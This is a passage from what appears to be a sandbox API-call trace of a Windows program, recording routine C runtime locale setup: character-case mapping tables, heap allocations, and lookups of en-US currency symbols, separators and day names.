¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ@巴L巰L") returned 255 [0122.014] LCMapStringEx (in: lpLocaleName="en-US", dwMapFlags=0x200, lpSrcStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ@巴L巰L", cchSrc=255, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 255 [0122.014] LCMapStringEx (in: lpLocaleName="en-US", dwMapFlags=0x200, lpSrcStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ@巴L巰L", cchSrc=255, lpDestStr=0x19f218, cchDest=255, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ") returned 255 [0122.014] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ", cchWideChar=255, lpMultiByteStr=0x4c9851, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f\x95\x16\x92L\x91¸", lpUsedDefaultChar=0x0) returned 255 [0122.014] GetLastError () returned 0x0 [0122.014] SetLastError (dwErrCode=0x0) [0122.014] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x4b71e0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0122.014] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x4b71e0, cbMultiByte=256, lpWideCharStr=0x19f438, cchWideChar=256 | out: lpWideCharStr="") returned 256 [0122.014] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr="", cchSrc=256, lpCharType=0x4ca4a8 | out: lpCharType=0x4ca4a8) returned 1 [0122.014] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4b71e0 | out: hHeap=0x4b0000) returned 1 [0122.014] GetLastError () returned 0x0 [0122.014] SetLastError (dwErrCode=0x0) [0122.014] GetLastError () returned 0x0 [0122.014] SetLastError (dwErrCode=0x0) [0122.014] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x3a) returned 0x4c2370 [0122.014] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4c9eb0 [0122.014] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x50) returned 0x4bead8 [0122.014] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x4) returned 0x4c56f0 [0122.014] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x4) returned 0x4c5550 [0122.014] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x15, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0122.014] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x15, lpLCData=0x19f5a8, cchData=4 | out: lpLCData="USD") returned 4 [0122.014] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="USD", cchWideChar=-1, lpMultiByteStr=0x19f634, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="USD", lpUsedDefaultChar=0x0) returned 4 [0122.014] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x4) returned 0x4c5560 [0122.014] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x14, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 2 [0122.014] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x14, lpLCData=0x19f598, cchData=2 | out: lpLCData="$") returned 2 [0122.014] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="$", cchWideChar=-1, lpMultiByteStr=0x19f620, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="$", lpUsedDefaultChar=0x0) returned 2 [0122.014] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x2) returned 0x4c5590 [0122.014] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x16, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 2 [0122.014] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x16, lpLCData=0x19f588, cchData=2 | out: lpLCData=".") returned 2 [0122.014] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=-1, lpMultiByteStr=0x19f60c, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".", lpUsedDefaultChar=0x0) returned 2 [0122.014] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x2) returned 0x4ce980 [0122.014] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x17, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 2 [0122.014] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x17, lpLCData=0x19f578, cchData=2 | out: lpLCData=",") returned 2 [0122.014] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=",", cchWideChar=-1, lpMultiByteStr=0x19f5f8, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=",", lpUsedDefaultChar=0x0) returned 2 [0122.014] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x2) returned 0x4ce960 [0122.014] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x18, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0122.015] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x18, lpLCData=0x19f5a8, cchData=4 | out: lpLCData="3;0") returned 4 [0122.015] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="3;0", cchWideChar=-1, lpMultiByteStr=0x19f634, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3;0", lpUsedDefaultChar=0x0) returned 4 [0122.015] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x4) returned 0x4ce940 [0122.015] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x50, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 1 [0122.015] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x50, lpLCData=0x19f598, cchData=1 | out: lpLCData="") returned 1 [0122.015] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="", cchWideChar=-1, lpMultiByteStr=0x19f620, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0122.015] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x1) returned 0x4cea00 [0122.015] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x51, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 2 [0122.015] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x51, lpLCData=0x19f588, cchData=2 | out: lpLCData="-") returned 2 [0122.015] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="-", cchWideChar=-1, lpMultiByteStr=0x19f60c, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="-", lpUsedDefaultChar=0x0) returned 2 [0122.015] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x2) returned 0x4ce990 [0122.015] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x2000001a, lpLCData=0x19f5f4, cchData=2 | out: lpLCData="\x02") returned 2 [0122.015] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x20000019, lpLCData=0x19f630, cchData=2 | out: lpLCData="\x02") returned 2 [0122.015] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x20000054, lpLCData=0x19f61c, cchData=2 | out: lpLCData="\x01") returned 2 [0122.015] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x20000055, lpLCData=0x19f608, cchData=2 | out: lpLCData="") returned 2 [0122.015] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x20000056, lpLCData=0x19f5f4, cchData=2 | out: lpLCData="\x01") returned 2 [0122.015] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x20000057, lpLCData=0x19f630, cchData=2 | out: lpLCData="") returned 2 [0122.015] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x20000052, lpLCData=0x19f61c, cchData=2 | out: lpLCData="\x03") returned 2 [0122.015] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x20000053, lpLCData=0x19f608, cchData=2 | out: lpLCData="") returned 2 [0122.015] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x15, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0122.015] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x8) returned 0x4ceab0 [0122.015] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x15, lpLCData=0x4ceab0, cchData=4 | out: lpLCData="USD") returned 4 [0122.015] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x14, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 2 [0122.015] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x4) returned 0x4ce9f0 [0122.015] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x14, lpLCData=0x4ce9f0, cchData=2 | out: lpLCData="$") returned 2 [0122.015] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x16, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 2 [0122.015] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x4) returned 0x4ce8f0 [0122.015] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x16, lpLCData=0x4ce8f0, cchData=2 | out: lpLCData=".") returned 2 [0122.015] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x17, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 2 [0122.015] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x4) returned 0x4ce970 [0122.015] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x17, lpLCData=0x4ce970, cchData=2 | out: lpLCData=",") returned 2 [0122.015] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x50, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 1 [0122.015] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x2) returned 0x4ce900 [0122.015] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x50, lpLCData=0x4ce900, cchData=1 | out: lpLCData="") returned 1 [0122.015] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x51, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 2 [0122.015] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x4) returned 0x4cea80 [0122.015] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x51, lpLCData=0x4cea80, cchData=2 | out: lpLCData="-") returned 2 [0122.015] GetLastError () returned 0x0 [0122.015] SetLastError (dwErrCode=0x0) [0122.015] GetLastError () returned 0x0 [0122.015] SetLastError (dwErrCode=0x0) [0122.015] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x3a) returned 0x4c2490 [0122.015] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4ca078 [0122.016] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x50) returned 0x4bed38 [0122.016] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x4) returned 0x4cea10 [0122.016] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x4) returned 0x4cea60 [0122.016] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0xe, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 2 [0122.016] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0xe, lpLCData=0x19f5b8, cchData=2 | out: lpLCData=".") returned 2 [0122.016] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=-1, lpMultiByteStr=0x19f634, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".", lpUsedDefaultChar=0x0) returned 2 [0122.016] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x2) returned 0x4ce9a0 [0122.016] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0xf, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 2 [0122.016] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0xf, lpLCData=0x19f598, cchData=2 | out: lpLCData=",") returned 2 [0122.016] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=",", cchWideChar=-1, lpMultiByteStr=0x19f620, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=",", lpUsedDefaultChar=0x0) returned 2 [0122.016] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x2) returned 0x4ceaa0 [0122.016] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x10, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0122.016] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x10, lpLCData=0x19f588, cchData=4 | out: lpLCData="3;0") returned 4 [0122.016] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="3;0", cchWideChar=-1, lpMultiByteStr=0x19f60c, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3;0", lpUsedDefaultChar=0x0) returned 4 [0122.016] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x4) returned 0x4ce910 [0122.016] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0xe, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 2 [0122.016] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x4) returned 0x4ce9b0 [0122.016] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0xe, lpLCData=0x4ce9b0, cchData=2 | out: lpLCData=".") returned 2 [0122.016] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0xf, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 2 [0122.016] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x4) returned 0x4ce9d0 [0122.016] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0xf, lpLCData=0x4ce9d0, cchData=2 | out: lpLCData=",") returned 2 [0122.016] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4c56f0 | out: hHeap=0x4b0000) returned 1 [0122.016] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4bead8 | out: hHeap=0x4b0000) returned 1 [0122.016] GetLastError () returned 0x0 [0122.016] SetLastError (dwErrCode=0x0) [0122.016] GetLastError () returned 0x0 [0122.016] SetLastError (dwErrCode=0x0) [0122.016] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x3a) returned 0x4c2178 [0122.016] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4c9ec8 [0122.016] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x164) returned 0x4ccf08 [0122.016] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4c9fb8 [0122.016] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x31, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0122.016] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x31, lpLCData=0x19f598, cchData=4 | out: lpLCData="Mon") returned 4 [0122.016] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Mon", cchWideChar=-1, lpMultiByteStr=0x19f620, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Mon", lpUsedDefaultChar=0x0) returned 4 [0122.016] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x4) returned 0x4ce9c0 [0122.016] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x32, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0122.016] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x32, lpLCData=0x19f588, cchData=4 | out: lpLCData="Tue") returned 4 [0122.016] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Tue", cchWideChar=-1, lpMultiByteStr=0x19f60c, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Tue", lpUsedDefaultChar=0x0) returned 4 [0122.016] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x4) returned 0x4cea70 [0122.016] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x33, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0122.016] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x33, lpLCData=0x19f578, cchData=4 | out: lpLCData="Wed") returned 4 [0122.016] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Wed", cchWideChar=-1, lpMultiByteStr=0x19f5f8, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Wed", lpUsedDefaultChar=0x0) returned 4 [0122.016] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x4) returned 0x4cea90 [0122.016] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x34, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0122.016] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x34, lpLCData=0x19f598, cchData=4 | out: lpLCData="Thu") returned 4 [0122.016] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Thu", cchWideChar=-1, lpMultiByteStr=0x19f624, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Thu", lpUsedDefaultChar=0x0) returned 4 [0122.016] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x4) returned 0x4ce950 [0122.016] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x35, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0122.016] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x35, lpLCData=0x19f588, cchData=4 | out: lpLCData="Fri") returned 4 [0122.016] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Fri", cchWideChar=-1, lpMultiByteStr=0x19f610, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Fri", lpUsedDefaultChar=0x0) returned 4 [0122.016] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x4) returned 0x4ce920 [0122.016] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x36, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0122.016] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x36, lpLCData=0x19f578, cchData=4 | out: lpLCData="Sat") returned 4 [0122.017] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Sat", cchWideChar=-1, lpMultiByteStr=0x19f5fc, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Sat", lpUsedDefaultChar=0x0) returned 4 [0122.017] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x4) returned 0x4ce9e0 [0122.017] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x37, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0122.017] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x37, lpLCData=0x19f568, cchData=4 | out: lpLCData="Sun") returned 4 [0122.017] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Sun", cchWideChar=-1, lpMultiByteStr=0x19f5e8, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Sun", lpUsedDefaultChar=0x0) returned 4 [0122.017] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x4) returned 0x4cea20 [0122.017] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x2a, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 7 [0122.017] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x2a, lpLCData=0x19f598, cchData=7 | out: lpLCData="Monday") returned 7 [0122.017] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Monday", cchWideChar=-1, lpMultiByteStr=0x19f624, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Monday", lpUsedDefaultChar=0x0) returned 7 [0122.017] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x7) returned 0x4cea30 [0122.017] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x2b, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 8 [0122.017] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x2b, lpLCData=0x19f588, cchData=8 | out: lpLCData="Tuesday") returned 8 [0122.017] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Tuesday", cchWideChar=-1, lpMultiByteStr=0x19f610, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Tuesday", lpUsedDefaultChar=0x0) returned 8 [0122.017] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x8) returned 0x4ce930 [0122.017] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x2c, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 10 [0122.017] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x2c, lpLCData=0x19f568, cchData=10 | out: lpLCData="Wednesday") returned 10 [0122.017] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Wednesday", cchWideChar=-1, lpMultiByteStr=0x19f5fc, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Wednesday", lpUsedDefaultChar=0x0) returned 10 [0122.017] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0xa) returned 0x4ca000 [0122.017] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x2d, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 9 [0122.017] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x2d, lpLCData=0x19f558, cchData=9 | out: lpLCData="Thursday") returned 9 [0122.017] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Thursday", cchWideChar=-1, lpMultiByteStr=0x19f5e8, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Thursday", lpUsedDefaultChar=0x0) returned 9 [0122.017] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x9) returned 0x4c9fd0 [0122.017] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x2e, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 7 [0122.017] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x2e, lpLCData=0x19f598, cchData=7 | out: lpLCData="Friday") returned 7 [0122.017] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Friday", cchWideChar=-1, lpMultiByteStr=0x19f624, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Friday", lpUsedDefaultChar=0x0) returned 7 [0122.017] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x7) returned 0x4cea40 [0122.017] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x2f, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 9 [0122.017] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x2f, lpLCData=0x19f578, cchData=9 | out: lpLCData="Saturday") returned 9 [0122.017] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Saturday", cchWideChar=-1, lpMultiByteStr=0x19f610, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Saturday", lpUsedDefaultChar=0x0) returned 9 [0122.017] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x9) returned 0x4ca090 [0122.017] GetLocaleInfoEx (in: lpLocaleName="en-US", 